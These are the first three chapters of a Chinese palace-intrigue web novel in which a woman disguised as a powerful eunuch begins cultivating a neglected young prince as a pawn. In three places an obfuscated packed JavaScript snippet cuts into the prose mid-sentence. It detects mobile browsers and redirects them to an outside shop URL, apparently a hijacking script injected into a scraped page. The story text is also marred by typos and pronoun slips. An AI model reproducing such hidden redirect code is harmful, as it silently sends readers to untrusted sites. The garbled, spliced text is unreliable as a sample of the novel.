《柔弱外室哥带娃后》 1. 第 1 章 隆庆二十七年·冬·盛京皇宫。 寅时三刻,天还未亮,宫墙内的积雪厚厚的一层。 司里监值房里炭火烧的正旺,却暖不透那身绯红蟒袍下的寒意。步青云放下最后一本奏折,朱批上的字迹凌厉如刀——那是一个御史的名字,后面跟着“斩立绝”三字。 “掌印,刑部那边已经打点好了。”小太监顺子垂手立在门边,声音压得极低,“张御史的家眷…” “按例办。”步青云的声音不辨喜怒,只抬手揉了揉眉心。烛火在她清秀却苍白的脸上跳动,映出一双深不见底的眼。若非那身宦官服制,任谁都会以为这是个清冷矜贵的世家公子。 顺子应声退下,却在门口顿了顿:“掌印,太后那边传话,让你辰时去慈宁宫一趟。” 步青云的指尖在案几上轻叩两下:“知道了。” 待房门合上,她才从袖中取出一方素帕,拭去额角的细汗。 隆冬时节,司礼监掌印的值房却门窗紧闭。 八年了。 她对着铜镜你那里袍服,镜中人眉目如画,却染着洗不去的血色。八年前,楚家满门抄斩时,他十六岁,兄长将她藏进运送尸体的板车,自己却转身引开了追兵。她记得兄长最后的口型:“活下去,报仇。” 于是楚玉死了,活下来的是太监步青云。 从净房洒扫到御前听差,从监栏院到司礼监,她用八年时间爬上这万人之上的位置。代价是什么?这手上洗不尽的血,是夜里止不住的噩梦,是再不能以真面目示人的余生。 窗外传来打更声,,卯时了。 步青云起身推开窗,寒风裹挟着雪沫扑进来,吹散了值房内淡淡的药香。那是她用来遮掩女子体征的草药,日复一日,年复一年。 “掌印,该去上朝了。”门外又响起顺子的声音。 今日大朝会,隆庆帝病体稍愈,要亲临太和殿。这对步青云来说不是好事。皇帝越清醒,她这掌印太监就越需小心行事。太后、首辅、锦衣卫指挥使…各方势力犬牙交错,她不过是其中最危险也最脆弱的一环。 太和殿前,文武百官已列队等候。 步青云从侧廊行来,所过之处,官员们纷纷垂首避让。有憎恶的,有恐惧的,也有谄媚的。她一概视而不见,径直走到御阶之下,站在了文官队列的最前方。 那是司礼监掌印的位置,虽无宰相之名,却有宰相之实。 “步公公。”身旁传来温和的招呼声。 是内阁首辅徐阶,六十余岁的老臣,三朝元老,门生故史遍布朝野。此刻正笑眯眯地看着她,眼中却无半分笑意。 “徐阁老。”步青云微微颌首。 “听闻昨夜张御史…”徐阶话未说尽,但意思明了。 “贪赃枉法,证据确凿。”步青云答得滴水不漏,“陛下最恨贪腐,阁老应是知道的。” 徐阶捋了捋花白的胡须,笑容不变:“自然,自然。只是张御史曾任太子少傅,太子那边…” 话音未落,钟鼓齐鸣,殿门洞开。 百官鱼贯而入。步青云跟在徐阶身后,余光瞥见武将队列中一个熟悉的身影。 锦衣卫指挥使陆炳,太后的远房侄儿,正用审视的目光打量着她。 殿内,庆隆帝高坐龙椅,面色蜡黄,眼下乌青。这位在位是二十七年的皇帝,年轻时也曾励精图治,如今却沉迷丹药,荒废朝政。若非如此,她一个‘太监’又如何能爬得这么快? “有本启奏,无本退朝。”司礼监随堂太监拖长了声音。 徐阶率先出列,奏报南方水患灾赈事宜。接着是兵部尚书,奏报北京鞑靼扰边。再是户部尚书,奏报国库空虚… 步青云垂眸听着,心中冷笑。这些奏报十有八九都是做给皇帝看的戏码。真正的权力交易,早在朝会前的值房、府邸甚至青楼里完成了。 “步青云。龙椅上传来沙哑的声音。 他即刻出列躬身:“臣在。” “山东清史司的缺,补上了吗?” “回陛下,以拟定三人,请陛下圣裁。”步青云从袖中取出名册,由太监转呈御前。 这是她昨日与徐阶博弈的结果。三人中,两个是徐阶的门生,一个是她安排的人。皇帝会选谁?或者说太后希望皇帝选谁? 隆庆帝翻看名册,咳嗽了几声:“就…就第二个吧。” 第二个,徐阶的人。 步青云面色不改:“臣遵旨。” 徐阶投来一个意味深长的眼神。这场交易她输了,但输的值得。 山东青史司换刑部一个郎中缺,那是她早就布下的棋子。 朝会在已时结束。隆庆帝精神不济,早早退了朝。百官散去时,步青云被一个小太监拦下。 “步公公,太后请你去慈宁宫说话。” 来了。 慈宁宫的暖阁里,地龙烧的极热。太后李氏未着朝服,只一声家常的降紫宫装,斜倚在软塌上。五十余岁的年纪,保养得宜,眉眼间依稀可见年轻时的美艳,只是那眼神太过锐利。 “奴才叩见太后。”步青云行了大礼。 “起来吧,赐坐。”太后手里把玩着一串佛珠,“步青云你可知哀家为何找你?” “奴才愚钝。” 太后轻笑一声,笑意未达眼底:“张御史的案子,办的急了。” 步青云心中一凛,面上却依旧恭顺:“太后明鉴,张御史贪赃证据确凿,奴才不敢徇私。” “贪赃?”太后放下佛珠,“他那点银子,也值得你大动干戈。哀家听说他死前曾上书弹劾陆炳纵容家奴站强占民田,可有此事?” 空气骤然凝固。 步青云袖中的手微微收紧。原来症结在这里。张御史死前确实上过密折,弹劾锦衣卫指挥使陆炳。 而这陆炳,正是太后的侄儿。 那封密折被她截下了,但她没想到太后消息如此灵通。 “奴才…未曾见过此奏。”她选择装傻。 太后盯着她看了许久,久到步青云后背冷汗浸湿了中衣。 “罢了。”太后突然叹了口气,“一个御史而已,死了就死了。只是步青云,你要记住——”她倾身向前,声音压的极低,“在这宫里,知道太多的人,往往活不长。” “奴才谨记太后教诲。” “去吧。”太后挥挥手,像是倦了,“对了,十八皇子前些日子病了,你替哀家去看看。那孩子可怜,生母去的早,也没个人照应。” 步青云心中一动,面上不显:“奴才遵命。” 退出暖阁时,他听到太后对身边嬷嬷地低语:“…敲打敲打,让他知道谁才是主子。” 风雪扑面而来,步青云却觉得比暖阁里舒畅的多。十八皇子魏祚…宫女所生,今年应当十六岁了。在皇子中排最末,也最不受宠,住在皇宫最西边,几乎被人遗忘。 太后为何突然提起他? 回司礼物监的路上,步青云一直思索。直到路过那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082477|195348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,她鬼使神差地停下了脚步。 那宫殿确实偏僻,墙劈斑驳,门庭冷落。院中积雪无人打扫,几只麻雀在枯枝上跳来跳去。这般光景,哪像皇子居所,倒像冷宫。 她正要离开,殿门忽然开了。 一个少年探出身了,穿着半袖的月白棉袍,身形单薄,面容清秀的过分。他看到步青云,显然吓了一跳,慌忙要退回门内,却因动作太急,脚下一滑,直接摔在雪地里。 步青云下意识上前两步,又顿住了。 那少年挣扎着要起身,棉袍沾了雪,手也冻得通红。他抬起头,撞上步青云的目光,眼中闪过一丝慌乱,随即垂下眼帘,声音细若蚊呐:“见、见过公公…” 这便是十八皇子魏祚。 步青云打量着他。十六岁的少年,却有着十二三岁的身形,可见这些年过得何等艰难。容貌倒是极好,眉眼精致,皮肤白皙,只是那怯懦的神情,破坏了那份精致。 “殿下请起。”步青云终是伸出了手。 魏祚犹豫一瞬,小心翼翼的将手搭上来。他的手很凉,指节纤细,像是轻轻一折就会断。 “多谢公公…”他站起身,立刻退开两步,垂着头不敢看她。 “殿下病了?”步青云问。 “前些日子染了风寒,已、已大好了。”魏祚答的磕磕绊绊。 步青云点点头,目光扫过空荡的庭院:“伺候的人呢?” “嬷嬷去领月例了…”声音越来越小。 一个皇子,身边只有一个嬷嬷。步青云心中冷笑,这便是皇宫,这便是天家亲情。 “奴才奉太后之命来看望殿下。”她说着场面话,“殿下既然已大好,奴才便回去复命了。” “有劳公公…”魏祚依旧垂着头。 步青云转身要走,忽又想起什么,从袖中取出一个小瓷瓶:“这是上好的枇杷膏,殿下若是咳嗽未愈,可服用些。” 魏祚惊讶的抬头,眼中满是不解。两人对视的一瞬,步青云看到了他眼底深处的惶恐,以及一丝掩藏不住的、小兽般的警惕。 有趣。 她将瓷瓶放在院中的石桌上,不再多言,转身离去。 走出很远,回头望去,那少年还站在雪中,望着石桌上的瓷瓶发呆。单薄的身影在风雪里摇摇欲坠,像一株随时会折断的苇草。 步青云收回目光,心中某个角落微微一动。 不受宠、无依无靠、性格懦弱…这样的皇子,不正是最好的棋子吗? 他想起太后的敲打,想起徐阶的试探,想起陆炳审视的目光。在这深宫之中,她看似权倾朝野,实则如履薄冰。若有一日失势,等待她的将是比死更惨的下场。 她需要退路,需要筹码,需要…一个傀儡。 魏祚的身影在脑海中挥之不去。 或许,这就是天意。 回到司礼监,顺子迎上来:“掌印,刑部来报,张御史已…已伏法。” 步青云“嗯”了一声,坐在案前。案上堆着今日要批的红本,最上面一封是弹劾她的。 说他擅权干政,结交外臣,奏请皇帝严惩。 他提笔蘸朱砂。在那奏折上批了四个字:“危言耸听。” 墨迹未干,殷红如血。 窗外风雪更紧了。步青云推开窗,任由寒风灌入。远处,那边一片朦胧。 棋子已经落下了。 下一步是该好好谋划,如何让这颗棋子,心甘情愿地走进他的棋局。 2. 第 2 章 魏祚在雪地里站了很久,久到手脚都冻得麻木,才挪动步子走向石桌。 那白瓷小瓶静静立在斑驳的石面上,瓶身细腻温润,与这破败庭院格格不入。他伸出手,指尖在触到瓶身时又缩了回来,像是怕碰坏了什么珍贵的物事。 步公公…司礼监掌印太监步青云。 他虽深居简出,却也听过这个名字。宫人们私下议论时,总带着三分畏惧七分厌恶。 那位步掌印啊,手上沾的血,比咱家这辈子见过的朱砂还多。 可方才那人…魏祚回想那张清冷苍白的脸,那双眼深得像不见底的寒潭,却没有宫人们形容的狰狞。甚至,递过来扶他的手,也是温的。 “殿下?” 身后传来嬷嬷的声音。魏祚慌忙将瓷瓶拢入袖中,转身时一副惯常的懦弱表情。 孙嬷嬷挎着个竹篮走进,篮里是刚从内务府领回的月例:两斤陈米,半斤腊肉,几颗焉了的白菜。她年过五十,腰背佝偻,是魏祚生母徐宫女的同乡,也是这偏殿唯一的旧人。 “你怎么又出来了?病才刚好…”嬷嬷絮叨着,目光扫过石桌,顿了一下,“刚才有人来过?” 魏祚低下头:“是、是步公公,奉太后之命来看我。” 孙嬷嬷脸色大变,竹篮险些脱手:“步…步青云,他来了?他说了什么?做了什么?” 一连串的问话让魏祚更加紧张:“没,没什么,就是问了问病情,给了瓶枇杷膏…” “枇杷膏?”孙嬷嬷抢步上前,抓住他的袖子,“东西呢?给我看看!” 魏祚不情愿地掏出瓷瓶。嬷嬷夺过去,对着光仔细端详,又拔开塞子嗅了嗅,眉头紧锁。 “殿下,这药不能吃。”她斩钉截铁。 “为什么?” 孙嬷嬷张了张嘴,欲言又止,最后叹气道:“那位步掌印…不是什么善茬。他给的东西,谁知道里头掺了什么?你忘了三皇子是怎么没的?” 魏祚心中一凛。 三皇子,他的三哥,三年前暴病身亡。宫里有传言,说是被人下了慢性的毒。没有证据,最后不了了之。 “可是……”他看着那瓷瓶,“他若想害我,何必亲自来?随便派一个人下毒不是更隐蔽。” 孙嬷嬷被问住了,半晌才道:“总之,小心为上。这宫里的人,没一个简单的。”她将此瓶塞回魏祚手中,“收着吧,但别用。明日我去太医那儿再讨些药。” 魏祚握紧瓷瓶,冰凉的瓷瓶渐渐染上他的体温。 夜里,偏殿格外寒冷。碳盆里只有几块劣质炭,燃不起多少暖意。魏祚过的旧棉被,辗转难眠。 窗外风声呜咽,像无数冤魂在哭诉。他想起生母徐宫女,那个他几乎记不清面容的女人。宫人们说,她生的极美,也因此招来祸患。在他三岁那年,徐宫女失足落水而亡。是真的失足,还是被人推下去的,无人敢问。 之后他便被扔到偏殿,由孙嬷嬷照料。父皇从未召见过他,兄弟们视他如无物。每年除夕宫宴,他虽在受邀之列,却总坐在最角落,看着父王与宠妃、与得势的皇子们言笑晏晏,自己像个误入的局外人。 十六年,就这么过来。 他以为会一直这么过下去,直到老死在这冷宫的殿宇里。 可今天,步青云来了。 那个权倾朝野的掌印太监,为什么要来看他一个不受宠的皇子?真的只是奉太后之命吗? 魏祚摸出枕下的瓷瓶,黑暗中看不清模样,只觉那温润的触感异常真实。 他拔开塞子,淡淡的药香飘出来,是枇杷和蜂蜜的味道,清甜温和。 鬼使神差地,他用指尖沾了一点,放入口中。 甜的。 同一时刻,司礼监值房。 步青云还未歇下。案上摊着一本厚厚的册子,是宫中所有皇子、公主的详细档案。她的指尖停在十八皇子魏祚那一页。 生母徐氏,浣衣局宫女,隆庆十一年被临幸,封为选侍。隆庆十二年诞下皇子,未晋位份。隆庆十五年失足落水身亡。 魏祚,隆庆十二年三月生,年十六。未开蒙,未习武,未参与朝政。居西偏殿,月例按末等皇子发放,配嬷嬷一人、小太监两人。 简短的记录,勾勒出一个被彻底遗忘的皇子的一生。 步青云合上册子,闭目沉思。 太后今日突然提起魏祚。绝非偶然。这位太后李氏,原为隆庆帝继后,并非太子生母。太子魏衸乃已故元后所出,与太后并不亲近。这些年太后扶持自家外戚,与太子一党明争暗斗,朝堂皆知。 那么,魏祚在这场争斗中,扮演什么角色? 一个无依无靠的皇子,若是操纵得当…… 步青云睁开眼,眸中闪过一丝微笑。 她需要了解更多。关于魏祚,关于西偏殿,关于那些被刻意掩埋的往事。 “顺子。” 走在门外的小太监立刻推门进来:“掌印。” “去查两件事。”步青云声音平静,“第一,徐选侍落水的真相。第二,这些年有哪些人接触过十八皇子?” 顺子怔了怔:“掌印是要……” “去查便是。”步青云打断他,“记住,要隐秘。” “是。” 顺子退下后,步青云走到窗前。雪已停了,月色清冷,照着琉璃瓦上的积雪。 她想起白日里魏祚摔倒的样子,想起他搭在她手上时的冰凉的触感,想起他眼中小兽般的警惕。 那样的眼神,她太熟悉了。 八年前楚家灭门夜,她躲在尸堆里,看着兄长引开追兵,眼中就是这样的神情。 恐惧,却又强撑着最后一丝倔强。 不同的是,兄长选择了赴死,而她选择了苟活。 “棋子……”步青云轻声自语,指尖在窗棂上划过,“或许,也可以是同伴。” 话音刚落,她自己先笑了。 多么天真的想法。在这吃人的皇宫里,哪有什么同伴,只有利用与被利用,吞噬与被吞噬。 可为何,心头那点犹豫,始终挥之不去? 三日后,甚至带来了消息。 值房里炭火噼啪作响,顺子压低声音:“掌印,徐选侍的事……有蹊跷。” 步青云正在批阅奏折,闻言笔尖一顿:“说。” “奴才问了当年浣衣局的一些老人。徐选侍落水那日,原本不该他去太液池边洗衣。是管事的嬷嬷临时调派,说贵妃宫里的衣服急着要。可贵妃宫里的人说,那日并无急件。” 步青云抬眼:“继续。” “徐选侍落水后,最先感到的是两个小太监,但他们没救人,反而跑开了。等侍卫赶到,人已经没了。”顺子顿了顿,“那两个小太监,后来一个暴病死了,一个调到皇陵守墓,前年也病死了。” “倒是干净。”步青云冷笑。 “还有……徐选侍落水前几日,曾与人在御花园争吵。有人看见,对方是个宫女,但没看清你。争吵内容……似乎与十八皇子有关。” 步青云放下笔:“具体。” 顺子凑得更近:“那宫女说……‘你以为生了皇子就能翻身?做梦。那位不会允许的。’” 那位? 步青云眯起眼。宫中最忌讳指名道姓,能用“那位”代指的,无非就那么几个人。 太后?贵妃?或是……皇后。 “十八皇子那边呢?”她问。 “这些年接触他的人很少。”顺子回道,“除了孙嬷嬷,只有内务服每月送月例的小太监。不过……”他犹豫了一下,“三年前,太子曾去过西偏殿。” 步青云猛的抬眼:“太子?” “是。据说是路过,进去坐了坐,给了些糕点。待了不到一刻钟就走了。” 太子魏衸,时年二十五,元后嫡出,名正言顺的储君。他去西偏殿做什么?真是路过? “还有吗?” “去年除夕宫宴后,十八皇子回宫时迷了路,误入了冷宫一带,遇到了……”顺子声音更低了,“遇到了陆指挥使。” 陆炳?锦衣卫指挥使,太后的侄儿。 步青云指尖轻扣桌面。一次是偶然,两次是巧合,三次呢? 太后、太子、陆炳……这些权势滔天的人为何都会与一个不受宠的皇子产生交集? “陆炳做了什么?”她问。 “什么都没做,只是看了一眼,便走了。”顺子道,“但十八皇子吓得不轻,回去后病了一场。” 步青云沉默良久。 看来,这颗棋子比她想象的更有意思。或者说,早已有人在暗中关注这颗棋子,只是尚未落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082478|195348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子。 那她就来做第一个落子的人。 “备些东西。”步青云起身,“我去西偏殿。” “现在?”顺子惊讶,“掌印,天快黑了,而且雪又下起来了。” “正是时候。”步青云望向窗外。暮色四合,细雪纷纷,正是掩人耳目的好时机。 西偏殿里,魏祚正在抄经。 这是孙嬷嬷给他找的活计。替宫中嫔妃抄写经书,换些微薄的赏钱。他的字很好,清秀工整,是这些年唯一认真学过的东西。 烛火摇曳,映着他专注的侧脸。忽然,院门被叩响。 这么晚了,会是谁? 魏祚搁下笔,孙嬷嬷已从厢房出来,神色警惕:“殿下别动,老奴去看看。” 透过门缝,孙嬷嬷看见门外站着两个人。前面的是步青云,后面跟着个小太监,手里提着食盒。 她心跳如鼓,犹豫片刻,还是开了门。 “嬷嬷不必多礼。”步青云语气平和,“白日里事多,只得夜间过来。打扰了。” 话虽客气,人已迈不进来。 魏祚站殿门口,看着步青云踏雪而来。今日她换了身靛蓝常服,外罩玄色斗篷,肩头落了一层薄雪,衬得面色愈发苍白。 “殿下的病可大好了?”步青云问。 “好、好了。” 步青云示意顺子将食盒放在桌上:“天冷,带了些热食。殿下与嬷嬷用些暖暖身子。” 食盒打开,是两碗热气腾腾的鸡丝面,还有几样精致小菜。这样的食物,西偏殿一年也见不到几次。 孙嬷嬷脸色变幻,最终道:“谢公公赏赐。只是殿下才用过晚膳……” “嬷嬷,”魏祚打断她,目光平静,“我有些话,想单独与殿下说。” 空气骤然凝固。 孙嬷嬷攥紧了衣角,看向魏祚。少年脸色发白,却轻轻点了点头。 “嬷嬷先去用面吧,凉了可惜。”魏祚说。 孙嬷嬷一步三回头地退下了。殿内只剩下两人,烛火噼啪,映着两张同样苍白的面容。 “殿下怕我?”步青云忽然问。 魏祚猛的抬头,对上那双深潭般的眼,又慌忙垂下:“不、不敢。” “不敢,不是不怕。”步青云走近几步,在桌边坐下,“殿下可知,我为何来?” 魏祚摇摇头。 “太后让我来看你,是其一。”步青云顿了顿,“其二,是我自己想来看你。” 少年眼中闪过一丝不解。 步青云从袖中取出一本书,放在桌上。书页泛黄,边角磨损,显然常被翻阅。 “听说殿下爱读书。”步青云说,“这本书,送给你。” 魏祚愣愣地看着那书,不敢接。 “殿下,”步青云的声音忽然放得很轻,“在这宫里,不争不抢,真的能活下来吗?” 魏祚浑身一颤。 这个问题,他问过自己无数次。答案是什么?他不知道。他只知道,若不争不抢,或许还能苟活;如果争了抢了,可能死的更快。 像他生母那样。 “我……”他张了张嘴,发不出声音。 步青云看着他,目光复杂。许久,她起身:“书留给你,若想通了,可以来找我。” 走到门口,她停住脚步,回头。 烛光里,少年的身影单薄得像是随时会消散。 “殿下,”她说,“有时候,不是你去争,而是别人不允许你不争。” 门开了又合,风雪灌进来,吹得烛火狂舞。 魏祚站在原地,许久未动。桌上,那本书静静躺着,身旁是那瓶枇杷膏。 他忽然想起三年前,太子来西偏殿那次。 太子给了他一盒糕点,拍了拍他的肩膀,说:“十八弟,好好活着。” 当时他以为那是关怀。 现在想来,那语气,那眼神,分明是怜悯。 怜悯一个注定活不长的人。 魏祚慢慢走到桌前,拿起那本书。书很沉,沉的他几乎拿不动。 他翻开第一页,映入眼帘的是一行朱笔批注:“乱世求生,非争不可。” 字迹凌厉,与奏折上那些“斩立决”如出一辙。 窗外风雪更紧了。 魏祚握紧书卷,指尖泛白。 3. 第 3 章 隆庆二十七年的腊月,盛京的雪一场接着一场,将皇宫装点的素白肃穆。 步青云从西偏殿回来后,一连三日没有动作。她在等,等魏祚的反应,也在等宫中其他人的反应。 第三日午后,太后召见。 慈宁宫的暖阁比上次更热,熏香浓的呛人。太后靠在软榻上,膝盖盖着狐皮褥子,手中捻着佛珠,看似慵懒,眼神却锐利如鹰。 “步青云,十八皇子那边,你去过了?”太后开门见山。 “回太后,去过了。”步青云垂首,“十八殿下病已大好,只是身子仍弱,需好生将养。” 太后“嗯”了一声,半响不语。佛珠划过指尖,发出轻微的磕碰声。 “那孩子……像他娘。”太后忽然道,语气不明,“徐宫女当年,也是这般弱不禁风的样子。” 步青云心中微动,面上不显:“奴才入宫晚,未曾得见徐选侍。” “见了也没用,死人罢了。”太后说的轻描淡写,“不过,她倒是生了个好儿子。听说十八皇子读书用功,字也写得好?” “奴才去时,殿下正在抄经,字迹确实工整。” 太后笑了,笑声里听不出情绪:“一个皇子,整日抄经念佛,像什么样子?”她顿了顿,“过几日腊八宴,让他也来吧。总闷在西偏殿,人都要闷坏了。” 步青云抬头:“太后是想……” “哀家能想什么?”然后睨她一眼,“不过是可怜那孩子。你去传话吧。” “是。” 退出慈宁宫,步青云脚步未停,心中却已转过无数念头。太后突然要让魏祚参加腊八宴,绝不只是可怜那么简单。 腊八宴是皇家家宴,得到皇帝、后妃、皇子公主,还会有几位近支宗亲。魏祚十六年来从未在这种场面露脸,如今突然出席,会掀起怎样的波澜。 更重要的是,太后想借此试探什么?侦探皇帝对这个小儿子的态度?试探其他皇子的反应?还是……试探她步青云? 回到司礼监,顺子迎上来,脸色有些奇怪:“掌印,贵妃娘娘宫里来人了,请你过去一趟。” 贵妃周氏,隆庆帝最宠爱的妃子,育有七皇子魏禄。这位贵妃出身将门,性格张扬,与太后素来不睦,与太子一党更是势同水火。 步青云与贵妃并无深交,只在必要的场合打过照面。此时召见,所谓何事? “说了什么事吗?”她问。 顺子摇头:“只说有要事相商。” 步青云略一沉吟:“更衣,去长春宫。” 长春宫的气派与西偏殿天壤之别。殿内陈设奢华,地龙烧得暖如春日,空气中弥漫着甜腻的暖香。贵妃周氏为着正装,一身绯红宫裙,斜倚在贵妃榻上,手中把玩着一只通体雪白的狮子猫。 见到步青云,她并未起身,只是懒懒抬眼:“步公公来了,赐座。” “谢娘娘。”步青云行礼落座,目光低垂。 周贵妃三十出头,容貌艳丽,只是那眉眼间的骄纵,破坏了本该有的风华。她抚着猫背,漫不经心道:“听闻前几日,步公公去了西偏殿。” 消息传的真快。步青云心中冷笑,面上恭顺:“奉太后之命,去看望十八殿下。” “太后?”周贵妃挑眉,“她倒是好心。不过……”她顿了顿,挥手摒退左右,“本宫有件事,想请步公公帮忙。” 店内只剩两人一猫,步青云静静等待。 “腊八夜。十八皇子也要出席。”周贵妃说,“那孩子深居简出,怕是连规矩都不懂。本宫想请步公公……教教他。” 教规矩? 步青云抬眼看她:“娘娘的意思是……” “意思是,”周贵妃放下猫,倾身向前,声音压低,“教他什么该说,什么不该说。什么该做,什么不该做。” 四目相对,步青云看到了周贵妃眼底的警告。 “比如,”周贵妃继续道,“三年前太子去过西偏殿的事,就不该提。去年他误入冷宫遇到一陆炳的事,也不该提。至于他娘徐宫女是怎么死的……更不该提。” 每说一句。步青云的心就沉一分。 原来如此。贵妃不是在拉拢,而是在威胁。她知道了步青云在查徐宫女的事,知道了步青云在接触魏祚,这是在敲打她。我知道你在做什么,适可而止。 “娘娘多虑了。”步青云垂眸,“十八殿下性子怯弱,从不多言。” “怯弱?”周贵妃笑了,“本宫看未必。兔子急了还咬人呢,何况是个皇子。”她站起身,踱到步青云面前,“步公公,你是聪明人。在这宫里,聪明人要知道站哪边。太后年纪大了,太子……未必能等到登机那天。” 这话已说得极露骨。周贵妃在拉拢她,用七皇子魏禄的未来。 “奴才只是个阉人,不敢妄议朝政。”步青云起身,“娘娘若无其他吩咐,奴才告退。” 周贵妃盯着他她看了许久,忽然又笑了:“罢了,你去吧。不过本宫的话,步公公好好想想。腊八宴前,给本宫个答复。” 走出长春宫时,天色已暗。细雪又飘起来,落在肩头,冷冰冰的。 步青云没有坐轿子,徒步走回司礼监。路过西偏殿时,她停下脚步。 殿内亮着微弱的烛光,在风雪中摇曳不定。 贵妃的警告,太后的试探,太子的关注。陆炳的偶遇……所有线索交织在一起,指向那个看似无害的少年。 魏祚,你到底知道什么? “掌印,还去吗?”顺子低声问。 步青云摇头:“回司礼监。” 有些事,她需要重新谋划。 西偏殿内,魏祚正在读步青云给他的那本书。 这本书他看了三日,每一页都仔细研读,尤其是那些朱笔批注。批注不多,但每一条都犀利深刻,直指要害。 “秦灭六国,非兵之利,乃势之必然。”旁批:“势在人为。” “汉武穷兵黩读,国库空虚。”旁批:“非常之时,行非常之事。” “唐玄宗晚年昏聩,酿安史之乱。”旁批:“权柄不可假手于人。” 每读一条,魏祚的心就震动一分。这些批注,与他这些年读过的所有注解都不同。没有迂腐的教条,没有空洞的道德说价,只有赤裸裸的现实与算计。 写这些批注的人,该是怎样一个人? 他想起步青云那双深不见底的眼,想起他说的那句话:“有时候不是你去争而是别人不允许你不争。” “殿下,”孙嬷嬷推门进来,端着碗姜汤,“趁热喝了吧。” 魏祚接过,捧在手中取暖:“嬷嬷,你说步公公是个怎样的人?” 孙嬷嬷脸色一变:“殿下怎么又问起他?老奴说过,那人不是善茬。” “我知道。”魏祚打断他,“可是嬷嬷,这宫里谁是善茬?太子?贵妃?还是……太后?” 孙嬷嬷噎住了。 “嬷嬷,”魏祚看着碗中晃动的姜汤,“我娘到底是怎么死的?” “殿下!”孙嬷嬷声音发颤,“您、您怎么突然问这个……” “我只是想知道真相。”魏祚抬起头,烛光里,他的眼神异常平静,“嬷嬷,我十六岁了。不是三岁,不是六岁,我该知道了。” 孙嬷嬷看着他,眼眶忽然红了。她走到门边,确认无人偷听,才颤声开口:“你娘……这被人害死的。” 虽然早有预料,但亲耳听到,魏祚还是心中一痛。 “是谁?” “老奴……不知道。”孙嬷嬷摇头,泪珠滚落,“那日徐选侍从御花园回来,脸色煞白,手里攥着个东西,他不让老奴看,只说……‘若我出事,把这个交给十八皇子,让他好好活着别报仇。’” 魏祚呼吸一窒:“什么东西?” “一块玉佩。”孙嬷嬷抹泪,“她说,那是她入宫前,一个故人给的。老奴后来找过,没找到。许是……许是被人拿走了。” 玉佩?故人? 魏祚脑中一片混乱。 “那落水……” “不是意外。”孙嬷嬷咬牙,“徐选侍根本不会水,平日从不去太液池边。那日是有人传话,说贵妃召见,她才去的。可贵妃宫里的人说,根本没叫过他。” 贵妃?周贵妃? 魏祚想起今日午后,长春宫的一个小太监来过,说贵妃娘娘惦记他的病,送了些补药。态度恭敬倒是十分恭敬。 若真是贵妃害了他娘,为何现在又对他示好? 除非……他不是威胁,而是筹码。 “嬷嬷,”魏祚放下姜汤,“腊八宴,太后让我去。” 孙嬷嬷大惊:“什么?这、这怎么……行殿下那种场合……” “我知道。”魏祚站起身,走到窗边。窗外风雪呼啸,亦如他此刻的心境。 十六年的隐忍,十六年的逃避,真的能换来平安吗? 他想起生母的遗言:好好活着,别报仇。 可他连好好活着都做不到。这深宫之中,处处是刀,步步是险。今日是太后的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082479|195348||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怜悯,明日是贵妃的试探,后日又会是什么? “殿下……”孙嬷嬷担忧的看着他。 魏祚转身,烛光在他眼中跳动:“嬷嬷,我想去见步公公。” “不行!”孙嬷嬷急道,“那人危险……” “正因为危险,才要去。”魏祚声音很轻,却很坚定,“这宫里,我无人可依,无势可借。若一定要选一个人……至少,他给了我选择的机会。” 那本书,那些批注,那瓶枇杷膏……或许都是算计,但也是他十六年来,收到的第一份善意。 哪怕这善意,沾着血。 孙嬷嬷看着他,忽然发现,这个从她从小照顾到大的孩子,不知何时已经长大了。那个怯弱畏缩的少年,眼中有了她看不懂的东西。 “殿下想好了?” 魏祚点头:“想好了。” 哪怕前路是深渊,他也想亲眼看看,深渊之下,究竟是地狱,还是……另一条生路。 次日清晨,雪停了。 魏祚换上半新不旧的靛蓝棉袍,带着那本书,第一次主动走向司礼监。 路上遇到几个宫人,见到他都愣了一下,随即慌忙行礼,眼神却充满探究。十八皇子出门了,还去了司礼监。 这消息很快就会传遍后宫。 司礼监位于皇宫东侧,靠近文华殿,是宫中权力中心之一。朱红大门前立着两个石狮,威严肃穆。 守门的小太监见到魏祚,显然吃了一惊:“十、十八殿下?你怎么……。” “我来见步公公。”魏祚努力让声音平稳,“烦请通传。” 小太监犹豫片刻,还是进去了。不多时,顺子快步出来,躬身道:“殿下请进,掌印在值房等您。” 踏进司礼监的那一刻,魏祚的心跳如擂鼓。院中积雪已被扫尽,青石地面湿漉漉的,倒映着灰白的天空。两侧厢房里传出低低的说话声、翻动纸张的声音,空气中有墨香,也有淡淡的血腥味。 值房门开了。 